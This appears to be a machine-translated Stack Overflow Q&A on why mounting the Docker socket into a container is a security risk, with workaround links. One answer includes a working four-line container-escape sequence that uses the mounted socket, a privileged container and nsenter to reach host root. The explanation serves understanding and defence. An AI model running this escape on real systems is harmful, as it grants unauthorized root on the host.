/var/run/docker.sock的Docker安全风险是什么?

Joe*_*oeG 7 security docker docker-compose

这篇博客文章中,我在评论中找到了以下引文:

本菲什曼

是的 - 你是对的我应该指出Docker套接字的安全问题.这是目前在生产中实用的主要阻碍因素,我们肯定正在寻找帮助以使其更好地工作,正如您从待办事项列表中注意到的那样.

虽然我确信这对许多人来说是有道理的,对于我们其他人来说,有人可以用明确的术语来解释这个"安全问题"究竟是什么吗?我认为它指的是:

    volumes:
  - "/var/run/docker.sock:/var/run/docker.sock"
Run Code Online (Sandbox Code Playgroud)

在docker-compose文件中.那是对的吗?如何被利用?这是否有效地禁止了生产使用的这种方法?如果是这样,有解决方法吗?

P.J*_*P.J 16

对于我们其他人来说,有人可以用明确的术语来解释这个"安全问题"究竟是什么吗?

泊坞窗的主人/var/run/docker.sockroot其中容器运行,默认组成员的主机docker组.这就是为什么var/run/docker.sock在另一个容器中安装会给你root权限,因为现在你可以做任何root具有组成员身份的docker用户.

这是否有效地禁止了生产使用的这种方法?如果是这样,有解决方法吗?

对于解决方法,这些帖子可能会有所帮助:https://integratedcode.us/2016/04/08/user-namespaces-sharing-the-docker-unix-socket/https://integratedcode.us/2016/04/20 /共享最搬运工-UNIX的插座与-非特权的容器-终极版/

退一步,了解您需要安装的用例var/run/docker.sock并查看是否有其他方法来满足用例将是有用的.遗憾的是,如果没有问题中的用例描述,很难提供避免安装unix插槽的替代方案.

祝你做正确的事情,祝你好运并感到荣幸!

  • 最近一篇关于 [Docker 安全最佳实践](https://dev.to/petermbenjamin/docker-security-best-practices-45ih) 的好文章提到了这个问题,以及使用 Docker 时需要避免的许多其他安全陷阱。另外,在[此评论](https://news.ycombinator.com/item?id=17983623)中的黑客新闻中,有关于如何利用此漏洞的解释。 (2认同)

cyp*_*har 7

这是一个古老的问题,但我希望我能给您一个确切的例子。

有人可以用明确的术语确切解释这个“安全问题”是什么吗?

这是漏洞利用的核心:

sh0% docker run -v /var/run/docker.sock:/ourdocker.sock:ro -it ubuntu bash
sh1# docker -H unix:///ourdocker.sock run --privileged -v /:/host ubuntu bash
sh2# nsenter --mount=/host/proc/1/ns/mnt --pid=/host/proc/1/ns/pid
sh3# # now we are in the host namespaces with root access
Run Code Online (Sandbox Code Playgroud)

您也可以不这样做--privileged。如果使用用户名称空间,则这个问题很难利用,但在某些情况下还是有可能的(并且您仍然可以影响在同一主机上运行的其他容器)。